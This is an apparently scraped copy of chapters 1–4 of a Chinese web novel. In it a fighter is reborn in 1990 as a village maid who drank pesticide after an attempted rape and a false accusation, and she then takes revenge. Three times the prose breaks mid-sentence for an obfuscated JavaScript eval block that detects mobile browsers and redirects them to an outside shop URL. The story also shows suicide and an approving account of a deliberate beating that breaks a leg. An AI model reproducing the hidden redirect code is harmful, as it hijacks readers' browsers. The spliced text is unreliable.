《九零悍女发家致富日常》 1. 第 1 章 时间是一九九零年,四月的一个傍晚,一辆拖拉机风风火火开进县医院,停在门诊楼前。车还没停稳,上面的村民就乱纷纷往下跳。大家合力从车上挪下来一个少女,一个男人背着冲进门诊楼。喧闹声顿时引起在场人员的好奇。 “快!医生在哪儿?” “来救人哪!出人命了!” 村民们七嘴八舌地在大厅里喊,闻声跑出来的医生却是见惯了这个架势,上前问:“什么情况?” “喝药了!我女儿喝农药了!”人群中一个中年妇女带着哭腔急促地答。 “赶紧去手术室,马上准备洗胃,”医生带他们朝手术室走,又冷静吩咐跟出来的护士准备手术事项,完了问:“什么时候喝的药?药瓶子带来了吗?” 同来的几个村民面面相觑,中年妇女慌了,忙说:“瓶子……瓶子没带,天爷,我也不晓得要带药瓶子呀!” 医生也急了,“那她喝的是啥药知道吗?” “百草枯!是我刚买的百草枯!”女人忙答。 门诊大厅里,此时已经聚集了一群病人及家属。有人听了便啧舌,“百草枯!只怕洗了胃也救不回来!” “那个药毒性大得很!” “哎,年纪轻轻的小姑娘,啥事想不开要喝农药啊!” 人群议论纷纷,伴随着叹息和好奇。在女孩被推进急诊室后,又有人朝同来的村民打听他情况,顺带着探听女孩为何喝农药寻死。一刻钟后,抢救开始了,打听消息的人们才渐渐散去。 “咋样咋样?”输液室里挂水的几个人急切地问,“救活了没有?” “早着呢!还在洗胃!”那几人摇头。 “是哪里的人啊?为啥喝农药了?” “说是城西红英村的村民。小姑娘今年才十七岁。”其中一人介绍:“本来在城里给人当小保姆,不晓得为什么,今天突然被人送回来,想不开就喝药了。” 另一个嘴快,道:“说是送回来,我看哪,八成是被主人家赶回来的。” 周围顿时啧啧声一片,输液室的男女们纷纷展开想象力,构思出小保姆和主家的爱恨情仇。又有一人叹息道:“可惜了!长得挺好看的一个姑娘,有鼻子有眼的!” 正在挂水的一个中年妇女便冷笑了一声,说:“八成就是因为长得好看了,才起了些花花心思。我们家邻居大爷去年偏瘫了,儿女给他请了个小保姆,本来是想照顾老爷子,妈也!照顾到床上去了!也不怕丑!” “如今的农村人也学坏了,不像早先那么质朴!”另一个老头也摇头晃脑道:“我们那儿也有人请保姆,根本不敢让她去买菜。一毛钱的豆芽,买回来报一毛五的账!可像话!” 输液室这边议论纷纷,各自叹息猜测。急救室外却是一片静默,村民们或站或蹲,暗自也对喻秀水喝农药的原因猜疑不止。 一个多钟头以前,他们听到村南头的喻庆山家传来哭喊声,赶过去时发现喻家大女儿秀水已经喝了农药。她妈刘瑞英哭天喊地,偏偏喻庆山外出干活了,便有人跑去喊了喻家二伯喻庆海,大伙儿忙忙地开着拖拉机把人送医院来了。 整个过程混乱不堪。刚开始药效没发作,喻秀水还不肯去医院,哭着喊着说让她去死。几个村民不由分说,把她强拖上车,又抠着喉咙让她吐。路上喻秀水就不行了,先是哭喊肚子疼,后来就昏昏沉沉地喊妈,说他们冤枉了她。 刘瑞英一个字都说不出,只晓得抱着女儿哭。等秀水进了手术室,她在外头又开始抹眼泪。 抢救不知啥时候才有结果,天却眼看着黑下来了。喻庆海便开了口,让大家开着拖拉机先回去。都是农村人,家里都有一堆事,也不能总让人家陪在医院耗着。 村民们便劝慰刘瑞英几句,纷纷离开了。等人走后,刘瑞英木然靠墙坐着,这回哇地一声哭出声来,“秀水啊,我的秀水啊!你怎么这么糊涂啊……” 话音刚落,就见喻庆山从门诊大厅那边跑过来了,气都没喘均就问:“咋样了?孩子咋样了?” 刘瑞英看见丈夫来了,又嚎啕起来。喻庆海忙答:“还在里头洗胃,可带了钱来?医院催着交款咧。” 大伙儿来得匆忙,身上都没带钱。护士怕他们偷跑,已经催过两遍了。喻庆山忙从怀里掏出钱,交给喻庆海去缴费,又对老婆吼:“你别哭啊!到底是咋回事?” 他一回家就听到这个噩耗,火急火燎地带着钱,骑自行车赶来了。刘瑞英看左近无人,这才把下午发生的事儿小声跟丈夫说了。 原来今天下午,她正在家拌猪食,她弟刘文强突然骑车把秀水带回来了。到家后他把刘瑞英拉进房,悄悄儿告诉她,秀水的主人家,李局长老婆把人给退回来了。 从去年开始,喻秀水进城给粮食局的李副局长一家当小保姆。保姆这活儿,城里人打心眼里瞧不起,却也是刘瑞英托了弟弟才找到的。 刘文强在县粮食局下属的乡镇粮站上班,是刘家唯一吃商品粮的人,也是大家眼中有本事的人。去年喻秀水初中毕业,没考上高中,刘瑞英专门回了趟娘家,托刘文强给外甥女留意,好在城里找个活计。没过多久,刘文强就有回音了,说为孩子谋到了一桩好差事。——县粮食局的李副局长新添了一个孙子,缺个保姆,他看秀水勤快懂事,正好让她去李家当三年保姆。讲定了不发工资,李家一年给四套衣裳。但等三年以后,李家孙子大了,李局长便负责给秀水在城里找个工作。 在八九十年代,这种事儿不算稀奇。红英村另一个女孩就是这样进的城。听说她给城里姑父家干了几年活儿,姑父一家便给她买了商品粮户口,如今在一家厂里当打字员,天天坐办公室,风吹不着雨淋不着,村民们谁不羡慕?因此刘瑞英一听便满口应下,给秀水收拾了几件衣裳,让刘文强骑着自行车,连人带行李驮到李家去了。 秀水这一去,好几个月只回来过一回。人长白净了,穿的衣服半新不旧,看着倒也整齐。晚上母女俩聊天,秀水悄悄跟母亲抱怨,说家务活儿不重,但李局长的爱人王仁芳却是个有名的挑剔人,她在饭桌上多挟一筷子菜都要阴阳怪气半天。刘瑞英听了虽心疼,却也劝女儿,好歹忍耐这三年,等以后进了城就好了。 如今孩子在他家干了大半年,竟然就这么送回来,刘瑞英不由得就生了气。可刘文强接下来的话却让她万分震惊。刘文强悄悄告诉她,秀水在城里学坏了,竟然勾引李家小儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722563|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。他还绘声绘色学了王仁芳的原话:“你这外甥女太不安份了。我们小勇还是个高中生,以后还要读大学的,她还想跟我儿子处朋友?我们家可丢不起这个脸,趁早让她回去吧!”末了又掏出一叠钞票,说要按每月十元钱补秀水的工资,一共给了八十块钱。 刘瑞英乍听之下,急怒攻心,也没接钱,转头就去院子里朝秀水身上拍了两巴掌,问她到底怎么回事,为什么要勾引别人家儿子。秀水只是哭,梗着脖子说自己并没有做那种丑事。母女俩吵了几句,刘文强急着要走,等刘瑞英送他出门,回屋才发现,秀水已经是喝了农药。 喻庆山听了前因后果,半晌无语,良久才说:“秀水那么老实的孩子,怎么会做这样的事?我怎么有点不信呢……” “我本来也不信,看文强说得有鼻子有眼的,我一时气急了才骂了她几句,”刘瑞英后悔得扇了自己一耳光,“哪晓得她气性这么大,转头就喝了药……” 正说着,喻庆山远远看见自家二哥回来了,忙朝老婆使个眼色。刘瑞英也赶紧住了口。不管是真是假,勾引人这种事可不能叫村里人知道,传出去坏了姑娘名声,以后秀水还怎么嫁人? 就在这时,抢救室的门突然开了。三人忙围了过去,就听医生疲惫地说:“给孩子准备后事吧。” 两个男人怔立当场,刘瑞英却是一口气没上来,软瘫在地,半晌哭嚎道:“儿啊,我的儿啊,你好狠的心哪……” 外面一阵忙乱,抢救室里却也突然起了骚动,有护士急促地喊:“张医生快来!又有心跳了!” 张医生来不及说话,又一头冲进手术室内。屋外的三个人眼泪未干,都扒着门缝往里瞅,影影绰绰地就见一群人围在手术台前忙碌,旁边不知什么机器闪着红光,哔哔地响。提心吊胆也不知过了多久,门才又被打开了。 张医生先出来,说:“准备送特护病房,过了危险期再看情况。” 这不是什么好消息,但总算让人看到了希望。紧接着,喻秀水被推了出来。刘瑞英和喻庆山看到女儿脸色青白昏迷不醒,身上插着乱七八糟的管子,心里就像刀子搅。几人亦步亦趋,跟着去了特护病房,却被拦在了门外。 九十年代的县医院,还没有设立ICU。危重病人都住特护病房,有呼吸机,有护士守着,不需要家属陪床。等秀水挪进去了,喻庆山便让哥哥骑车回家,顺便跟小女儿秀竹送个信。他和老婆则坐在特护病房外的地上,商量着要去李家问问到底怎么回事。 自家孩子打小就老实听话,怎么会不声不响在外头处朋友?又到底发生了什么事,才让东家给赶了回来?这里头肯定有蹊跷,只是不知要朝谁打听。刘瑞英说一阵哭一阵,一时恨自己为什么犯糊涂送女儿去当保姆;一时又担心以后风言风语的,秀水在村里不好做人。直到夜深,才和衣躺在走廊的地上,胡乱打了个盹儿。 此时,一墙之隔的特护病房里,喻秀水睁开了眼。她先是被墙角蹲着的一个年轻女孩吓了一跳。那女孩影影绰绰的,一看就不像人,倒是像个鬼魂。 再看看身周,是跟时代格格不入的破旧病房、古老仪器,喻秀水不由震惊,这是哪儿?我到底到了什么鬼地方? 2. 第 2 章 喻秀水在特护病房住了三天,在清醒和昏迷中反复轮回。身周破旧的病房、古老的仪器和挂钟上显示的日期,都在提醒她一件事:她穿越了,穿到了一九九零年,一个和自己同名的女孩身上。 清醒的时候,她硬着头皮和墙角的鬼魂对话。她虽然天不怕地不怕,可还是有点怕鬼。 “你咋了姑娘?我这是上了你的身?” “好死不如赖活着,年纪轻轻的你有啥想不开的?” “你看我,病成那样,有一口气都还想活着。你还是回来吧……” 女鬼蹲坐在墙角,把头埋在膝盖上,一动也不动。 清醒的时间总是很短暂,喻秀水浑身难受,身体像在火上烤,离成熟起锅只差一撮孜然。昏昏沉沉中,她的人生像电影片段一样在脑中闪回。——从小被父母遗弃,后来被人收养。四岁时养父母有了自己的孩子,从此对她不闻不问。幸好她遇到了师父和师娘,在师父的武校里,她渐渐展露出一个格斗运动员的天赋。后来又是师父送她去中专学校,学散打、学拳击,被经纪人发现,变成一名职业综合格斗运动员,在UFC大赛中搏得金腰带,从此功成名就。 直到成名后,亲生父母和养父母才都贴上来嘘寒问暖,从她这里骗钱骗财。上辈子她贪恋亲情,也很大方地给过他们钱财。只可惜,30多岁她身体每况愈下,后来才发现自己得了胃癌,治病花去了所有的积蓄。这时所谓的亲人再也没露过面了,只有师父和师娘来看过她。 她死时很不甘心。她来人间走了一遭,还没好好生活过,怎么就要走了? 谁知道再睁开眼,就穿到了一九九零年,而被自己占据了身体的这个年轻女孩,魂魄还蹲在旁边没有走远。 秀水虚弱地看着天花板,缓缓说:“就算要走,也得有仇报仇有怨报怨。不然你甘心么?” 墙角的女孩动了动,似乎被她这句话打动了心思。床上的喻秀水却又闭上眼睛昏睡过去。 半梦半醒间,她的脑海中忽然多出了很多记忆。她看到李局长的夫人王仁芳教她用燃气灶,不耐烦地说她笨;看到她炒菜做饭、洗衣服哄孩子,忙得像个陀螺;看到她干完一天的活儿,疲惫地去楼下睡觉…… 粮食局宿舍楼前有一排低矮的红砖房,是专门给各家各户放杂物的。她睡觉的地方就在李家的杂物房。这个县城的热闹不属于她,她的私人空间只是杂物间的一张小床。只有每晚躺在床上时,她才是轻松自在的。然而就连这点可贵的放松,也被人夺走了。某天夜里,李家的小儿子李小勇放自习回来,敲开了她的房门,一米七几的大小子强抱着她往床上拖。幸好她也有一把力气,不仅挣脱开来,还打了他两拳。那狗东西鼻子流着血,恨恨地走了。 在他走后,她独自在黑暗中坐了一夜,又羞又气又害怕。她觉得自己脏了,不再清白。而世界对女孩子的清白是极为苛刻的,被侮辱的女性会被指点、被非议,哪怕她们一点错也没有,甚至只是受害者。 天亮的时候,她第一次没有出门做早饭,心里盘算着怎么辞工回家。但很快,她就听到了王仁芳的谩骂声。王仁芳气冲冲过来敲门,让她把行李收拾好,早点滚回去,他们家小儿子岂是她高攀得起的…… 那声音高亢又刺耳,整个宿舍区的人都能听见。她似乎看到人们嘲笑的嘴脸和指点的手指,十七岁的女孩还没做好准备迎接这些侮辱。而他的舅舅竟然一句话都没为她辩驳,就把她送回家了。她的母亲惊怒中打了两巴掌,成了压死骆驼的最后一根稻草。 哪怕在睡梦中,喻秀水都能感受到女孩的恐惧和绝望。她都快气炸了。你倒是骂回去啊,你倒是打回去啊,你喝药干什么? 作为一名职业综合格斗运动员,喻秀水在生活中向来不崇尚暴力,因为她打拳是要收钱的。但此刻,她恨不得冲出去,劈头盖脸打那些狗东西一顿。 三天后,喻秀水真正清醒过来,墙角的魂魄已经不知去向。 她的情况已经稳定了,终于出了特护病房,进入普通病房。对此,医生的解释是她命大,人又年轻,终于扛了过来。刘瑞英和喻庆山悲喜交加。 特护病房收费可不便宜,三天时间就花了家里一年的收入。这期间,刘瑞英守在医院,喻庆山又回了趟家,拿存折取了钱交医药费。而刘文强那边得了信后,也赶过来,和刘瑞英在医院病房外嘀咕了半天。 刘瑞英这几天越想越不对劲,想让刘文强带她去李家问个究竟。闺女不明不白就被人辞退了,还说了那些伤人的话,害孩子服毒自杀,到现在还躺在医院里。无论如何都要去李家讨个说法。刘文强听了,却只盘算着自己的小心思。 他在粮站工作了这么些年,一心想搞个站长当当。这些年没少巴结局里领导。刚好去年听说李局长家缺保姆,他赶忙把自家外甥女推荐过去。又可以解领导之忧,又帮了自己大姐一家子。本是件大好事,万万没想到现在闹成这样。 要是姐姐和姐夫跑到李家去闹,别说提拨站长了,以后李局长不给他穿小鞋就算宽宏大量。 因此刘文强百般劝说刘瑞英,先等秀水清醒了再说。把事情问明白了一切都好说。要是秀水真做了什么丑事,那就悄悄地回家算了,免得传出去坏了孩子名声;要是真冤枉了秀水,那他这个做舅舅的也不会袖手旁观,该让李家赔偿的,他到时出面去谈。 他一番慷慨陈辞,这才把刘瑞英劝住。等喻秀水转到了普通病房,正好秀水的姨妈刘兰英听到消息,提了麦乳精和一提兜水果到医院来。这间病房暂时只住了秀水一人,等护士出去了,刘瑞英便让喻庆山去门外,她和刘兰英坐到床前,悄声问:“秀水,这里没外人,你实话告诉我们,你在李家到底怎么了?” 秀水看看两人,虚弱地说:“他想强*奸我。” “什么?”床前的两个女人震惊得说不出话。好一会儿刘瑞英才道:“真的?李家的那个小子?他……他竟干出这种事?” “畜生不如的东西!”刘兰英也骂,“他家里就没人管么?你是去他家做保姆,又不是丫环。这都新社会了……” 秀水便把那晚的事情详细讲了。记忆里她刚上床没多久,李小勇便来敲门,说他的足球放在里面,明天上课要用。秀水只好重新穿衣服开门,让他进来找。李小勇装模作样找了一阵,便扑上来抱秀水,嘴里还不干不净说些恶心人的话,什么很喜欢她、等高中毕业了就娶她之类的,直到被打了两巴掌,他才走了。 刘瑞英听了,眼泪哗哗地流,“太欺负人了!我找你舅去!咱是去干活的,怎么能这么欺负我孩子?我饶不过他们!” 刘瑞英扭头就去找喻庆山了。刘兰英留在病房,红着眼安慰秀水:“就算他们冤枉你,自然有我们替你讨回公道。傻孩子,你可不能再做傻事。万一你有个好歹,叫你爹妈以后怎么活?” 刘兰英帮着守了秀水半天,刘瑞英两口子却是一去不复返。一直到晚上,两人才回来,眼眶都红红的。估计是公道没讨回来,反倒被人骂了一通。 毕竟那晚的事情发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722564|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生在杂物房,除了当事人,没有第三个人知道。王仁芳咬死了是秀水勾引自己儿子,说出的话像是淬了毒,“她来第一天我就晓得不是个安份的,仗着自己长得有两分颜色,天天对着我儿子笑,我们院子里谁不晓得?就算她肚里有了货,我也不会要她……” 喻庆山不会跟人吵架,气得直哆嗦。刘瑞英则骂她放狗屁,她女儿规规矩矩清清白白,又懂事又勤快,村里人谁不晓得?不是李家儿子在外敲门,她怎么会大晚上开门……两边对骂的声音大了,左邻右舍都来劝架,却多是拉偏架的。毕竟都是李家的老熟人,没有为了两个农村人跟领导反目的道理。 刘文强得了消息,也赶紧跑过来,把姐姐姐夫强拉出来,说让他来和李家人谈条件谈赔偿。刘瑞英和喻庆山本来气得不想理他,转头一想,李家是城里人,刚才倚势压人,要是让保安防着他们,他们连门都进不去,还是得找个中间人。 刘瑞英怄了一肚子气,回来后却把眼泪都擦干了,换了一副神情才进病房,还安慰她“就算他家再厉害,也不能平白无故坏人名声。”“你等着,我不会放过他们,必要替你出一口气……” 等刘兰英走后,刘瑞英喂秀水喝了两口米汤,便让喻庆山也回去。家里农活多,马上要耕田插秧,现在各家各户都派了人,去渠道口守水,免得别的村把水截留了去。她家不派人去守渠也是不行的。 秀水没作声,喝完米汤就在床上装睡,没想到还真睡着了。等她醒来,天早就黑了。刘瑞英和衣躺在旁边病床上,那张床没有铺盖,只有梆硬的一张床板。但有块板子躺,总归比坐在凳子上熬一夜要强多了。 秀水悄无声息地揭被起床,凑过去听了听。连着好几天刘瑞英都没怎么合过眼,这会儿显然睡得很熟。秀水想了想,换好衣服出了门,轻手轻脚穿过光线昏暗的病房走廊和院子,来到了街上。 眼前的县城既熟悉又陌生。九零年这里还没有路灯,到晚上到处黑成一片,只有路边房屋和店铺里偶尔透出来一片灯光。秀水活动了一下腿脚,这具身体虽然虚弱,但晚上那几口米汤提供了少许热量,打个把人不成问题。 她顺着县医院前面的马路走了一会儿,轻车熟路拐进一条小巷,十几分钟后就来到了县粮食局宿舍大院的附近。院子门外是条马路,旁边有一片小树林,周边没有住户,是个蹲守的好地方。秀水握着半路上捡到的一条长木棒,蹲在树林的阴影里,气定神闲地等着。 “悠悠岁月,欲说当年好困惑……”远处门卫室里传来了电视剧的片尾曲,正是第二集电视剧结束的时候,也到了高中放晚自习的时间。她等的人快要来了。 陆续有两拨人骑着自行车过去了,秀水没动。过了一会儿,又有一道黑影骑着车,出现在道路尽头。即使看不清脸,凭那吊而郎当的样子,秀水也能认出那是谁。 她憋着一团火,悄无声息挪到路边。等飞驰的自行车经过面前时,才把手中的长棍朝前一递。 木棍精准卡进自行车的后轮当中,自行车猛地朝前一翻,车上的人重重摔倒在地上。 喻秀水这才上前,一脚踩中地上那人的后背心,朝他头上打了一闷棍。看到人被打昏,她又扬手朝他左腿抽了几棍,每一棍都又重又急,落在同一个位置。很快,她就听到了骨骼断裂的声音。 然后她像拖死狗一样,把人拖到昏暗的树林里,自行车也扔了进去。干完这一切,喻秀水累得直喘粗气,她顺着树林走了一段距离,才穿过小巷,朝县医院的方向走去。 3. 第 3 章 深夜,县医院的急诊室再次传来喧哗,伴随着哭天抢地的声音。 哭骂声特别大,把后面住院部的人都吵醒了。有家属不辞劳苦地跑去看热闹,回来便传开了,说县粮食局某局长的儿子不晓得为什么被人打了。听说是脑震荡,膝盖包也被打得粉碎,治好了只怕也会落下残疾。 秀水她们住在走廊尽头的病房,议论声虽大,却没把睡熟的母女俩惊醒。但第二天早上,刘瑞英去水房洗衣服时,还是很快就从别人口中知道了这个消息。 “那个流氓胚子遭人打了!活该!坏事做多了,这不是报应来了?”刘瑞英一回病房,就兴冲冲地把这个好消息告诉了秀水。 “真的?”秀水笑了,“他也来住医院了?” “可不是?听说就住楼下,”刘瑞英见女儿露出笑容,很是欣慰。她拧了条热毛巾,递给秀水擦脸,又咬牙切齿道:“这种坏胚,将来就算不被打死,也是吃牢饭的命!” “那咱们等会儿看看去!顺便骂他几句!”秀水擦着脸,来了兴致。 “你好好躺着!”刘瑞英怕她见到李家人又受刺激,忙道:“要骂也是我去骂。那种臭狗屎,你给我离得远远的才好!” 正说着,就有人上门了。粮食局所在辖区的派出所,来了一个自称姓张的警察,到病房请她们协助调查,还问她们昨天晚上在干嘛。刘瑞英忙老老实实答:“他被人打,可不关我们的事。我姑娘住着医院呢,我们都在病房睡觉!” “你怎么晓得他被打了?”警察紧盯着她们问。 “医院的人谁不知道?昨晚喊得半个怀安县城都听到了,今天还都在议论。” “那你们晓得是谁打的么?”老张问。 “我们可不晓得,”刘瑞英摇头道:“自家的事还操心不过来呢,还管他家的事?” 张警官昨晚接到报案,在现场和医院奔波了半宿。王仁芳断定是喻庆山报复他们,所以他大清早就开摩托去了一趟红英村。到了村里,正碰上喻庆山和村民们从渠道口回来。昨晚村里放水,大伙儿两两作伴,都带着铺盖卷睡在渠道边的野地里,喻庆山根本就没有作案的机会。 而且以老张多年的办案经验,聊两句就知道那是个遵纪守法的老实人。除非朝死里逼他,否则他连跟人吵架都不会。这会儿再到医院看到那母女俩,老张越发觉得王仁芳的猜测很荒唐。 一个乡下妇女,一个病人,能干出什么穷凶恶极的事情来?于是他草草询问了几句便要走。 喻秀水却把他叫住了,“警察同志,我也要报警。” “啥?”老张和刘瑞英都怔住了。 “五天前李小勇要……”秀水看了看刘瑞英,修改了一下措辞,“要强*暴我。就是你们正在调查的这个李小勇。” “什么?”老张震惊了,扭头看看刘瑞英,也是同样震惊。他犹豫着掏出笔和本子,“之前为什么没报警?你详细说说。” “之前想死了算了,现在想想,不能便宜坏人。”秀水说。 刘瑞英一听这话,眼泪就朝外漫。在秀水讲述那晚经历之后,她又抹着眼泪把女儿怎么被送回来、怎么喝农药的事说了,老张完整听下来,总算明白王仁芳为什么一口咬定凶手是喻庆山了。 要不是这家人老实,被欺负成那样,确实很有可能会报复社会。 他有点同情这年轻女孩,但该说的话也要说,“如果你说的是事实,这顶多算是猥亵。” 刘瑞英不懂什么是猥亵,可也看出来警察不想管这事,忙气愤地喊:“他那就是耍流氓!” 现在是九零年代,流氓罪还没废除。秀水忙说:“就是!不能判他个流氓罪吗?” “这个事情光你一个人说了可不算,我还得再调查。”老张说着便要走。秀水又叫住他,道:“张警官,我这算是正式报警了,等我出院的时候,您必须得给我个明确的说法。” 老张听了,也不表态,只点点头便走了。等他出了门,刘瑞英忙擦干眼泪,要扶秀水躺下,说:“这事你没做错,只管给我挺起胸膛做人。以前是妈糊涂,不该朝你动手。唉,我也是听你舅那么一说,一时气懵了……” 秀水微微一怔,对刘瑞英的认知有所改观。这个当妈的没什么见识,想不到在大是大非上分得倒很清楚。 她并没有躺下,反而让刘瑞英给她拿梳子,“一会儿估计还得吵一架。” “跟谁吵?”刘瑞英忙问。 “王仁芳呗,”秀水冷笑,“警察肯定会去楼下调查啊。以王仁芳那性子,过一会儿不得上来搅事生非啊?” 刘瑞英听了,新仇旧恨涌上心头,恨声道:“你等着,她上来我骂死她!” 秀水心想,就刘瑞英这老实样儿,能吵得过谁啊?不过,这不是有她在吗? 上辈子她可不是个善茬,八角笼中来来去去那么多格斗运动员,独她以拳头凶狠、反应敏捷而赫赫有名。恶人自有恶人磨,王仁芳碰上她算她倒霉。 但她还是鼓励刘瑞英,“行,你来骂她,我在旁边给你撑腰。” 果然,没多久王仁芳就上楼了,一进门就气急败坏地喊,“你这贱人!胡说八道什么?” 刘瑞英立刻还击:“你喊什么?你才贱!你才胡说!” “我儿子什么条件的姑娘找不着?他看得上你一个乡下丫头?”王仁芳说:“不是你勾引他,他会去找你?” “你胡说八道!”刘瑞英很快就气红了眼,“我姑娘清清白白,怎么会勾引你儿子?” 秀水叹气,心想原主她妈果然不行,吵架怎么能跟着别人的节奏走? 她忙打断刘瑞英,说:“对,我是乡下丫头,你儿子是城里公子哥!那么了不起怎么会被人打成死狗?还敢耍流氓,他耍得明白吗?到时候去坐牢,你们全家多光荣!” 王仁芳被戳中痛脚,气得要扑上来撕她的嘴。刘瑞英吵架不行,倒是有一把子好力气,忙把她拦着,朝后推了个踉跄,还跟在秀水后头说:“对啊,你全家多光荣!” “你说坐牢就坐牢?公安局你家开的?”王仁芳回骂:“我儿子才十六岁,他晓得什么?就算他拉了你一下,有什么了不起?你难道是什么金贵人?” “我一个姑娘家当然金贵!”秀水反唇相讥:“你不金贵,你天天去求着男人摸你抱你啊,一家子烂人,真恶心!” “对!真恶心!”刘瑞英也说。 “你放屁!不就想讹我们吗?随你怎么说,我一个钱也没有!”王仁芳居高临下看着她,冷笑道:“你报了警就以为我会怕你?呸!有什么烂招数你尽管使!” “那我就一直告下去!”秀水道:“你不要脸,你儿子和丈夫也不要脸吗?我写信到你儿子学校去,写信到你丈夫和大儿子单位上,我要让全怀安县的人都知道,你们家是什么玩意儿!” “对!让大家都来评评理!”刘瑞英听得惊诧极了,却也没忘跟在后面喊。 “你要敢毁我儿子前程,我跟你拼命!”王仁芳也高声喊。 双方吵作一团,顿时吸引了许多病人和家属。王仁芳见围观的人多了,越发撒起泼来,“大家快来看啦,这家人真不要脸!在我家当保姆,勾引我儿子,还想讹我们,也不撒泡尿照照自己……” 眼看围观人群眼神闪烁、交头接耳,刘瑞英急得恨不得打王仁芳的嘴。秀水却是不慌不忙地道:“我在你家当保姆,知道的可多着呢。我还晓得上梁不正下梁歪,你儿子耍流氓,都是跟他爸学的!你还不晓得吧,你丈夫在外头跟人乱搞,全院子的人都晓得,都在背后议论你,可就是没人告诉你!你说你多可怜!多可悲!” 王仁芳惊呆了,跟疯了似的朝里扑。刘瑞英忙拦住她,两个女人眼看要打在一起。幸好护士和医生都听到声音过来了,一边大喊着拉扯开她俩,一边驱赶围观人群。王仁芳这才骂骂咧咧地下楼去了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722565|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘瑞英自觉这一回她们略占上风,心头郁闷也散去了不少。等人散了,她便悄悄问秀水,“真的假的?王仁芳丈夫那事你咋知道的……” 这当然是原身的记忆。保姆的活动空间,几乎都在宿舍大院里。那里流传着各种婆婆妈妈的小道消息,其中就有关于李副局长的传闻。据说他跟某个女职工不清不楚,保持不正当男女关系好几年了。虽然不知是真是假,但是吵架嘛,讲究的就是专挑对方痛处戳,以气死对方为第一原则。 “管它真的假的呢,有用就行。”秀水说:“反正王仁芳回去了,两口子铁定要吵架。我就乐意看他们家鸡飞狗跳。” 刘瑞英想到那情形,脸上也露出久违的笑意。“累不累?你歇会儿,我去给你买碗稀饭去。” 趁着护士来给秀水打针,刘瑞英到外头餐馆里去买粥。路上想着刚才吵架的情形,觉得又欣慰又怪异。欣慰的是,老大竟也会跟人吵架了;怪异的是,这性情变得也太大了。 可能因为是孩子死过一次了吧,也幸好抢救过来了,不然刘瑞英简直不敢想,以后的日子要怎么过。回去后她要去庙里上柱香,感谢菩萨保佑女儿大难不死。 接下来的一整天都很平静,王仁芳没再上来闹事。到了晚上,刘文强提着一网兜水果来了。 “姐,秀水好点了没有?”刘文强把水果放到桌头柜上,关切地问。 “比先前好些了。”刘瑞英脸色不大好。她也不蠢,知道弟弟八成是给李家当说客来了。 刘文强这回确实是被李局长委派来的。原来上午王仁芳在楼上吵完架,果然丢下住院的小儿子回了家,揪着丈夫大吵了一架,问他在外头跟哪个狐狸精好上了,弄得全院子的人都在笑话她。全家人都焦头烂额,没满周岁的孩子被吓得哇哇哭。李局长烦不胜烦,只好让刘文强过来问问,这边是啥想法。 “大姐,为秀水这事,我到李家去了好几趟!”刘文强先跟姐姐表了半天功,最后才说:“李局长这人还是很仁义的,他托我来问问你们,想不想把秀水弄到棉纺厂去上班。” 刘瑞英一下子就心动了。她妹妹兰英就在棉纺厂工作,以前效益红火的时候,厂里隔三岔五地发些毛巾脸盆床单,看着可羡慕人!虽说现在不比从前,一个月也能到手二百块钱工资,对农村人来说,有笔旱涝保收的收入已经很难得了。 谁知秀水一口就回绝了,“我不去!我就要跟他们干到底!” “你这孩子!怎么这么犟?”刘文强恨铁不成钢,“你以为你能告倒他们?开啥玩笑呢!就说那晚的事,你说李小勇欺负你,你有啥证据?再说了,大晚上的你就不该开门让他进去!” 刘瑞英一听就恼了,“怎么能这么说?哦,这还怪上我家孩子了?他是东家儿子,他要进去拿东西,我秀水难道不该开门?” 刘文强忙安抚她,“我不是这意思……” “那你啥意思?”秀水似笑非笑看着他,“怎么的?他们把我害得这么惨,给我找个破工作就算完了?” “啥叫破工作?”刘文强也生气了,“棉纺厂多少人想进还进不去呢。你要不想去,那我可就真不管了!” 他站起身,作势欲走,刘瑞英却又舍不得,忙拉住他,“孩子说两句话你急什么。我问问你,秀水去棉纺厂,是正式工还是临时工?有没有商品粮户口?” “姐,都是自己人,我能没想到这点吗?”刘文强说:“李局长说了,进去干满一年就能转正。就是商品粮户口得你们自己转,要花五千块钱……” 刘瑞英倒吸一口冷气,五千块钱!家里的积蓄加起来还没有这个数呢,那可是她攒着准备盖新房的。 可孩子的工作也要紧,错过这一村,哪里还有这个店? 正在犹豫不决,就见秀水说:“我不去上班。想让我息事宁人?也行,让他们赔偿我医药费、误工费、精神损失费,外加八个月的保姆费。” 4. 第 4 章 喻秀水一开始就盘算得很明白,那晚杂物房发生的事情,除了两个当事人,没有第三个人看见,原身也没受到什么实质侵害。送李小勇坐牢这事不现实。 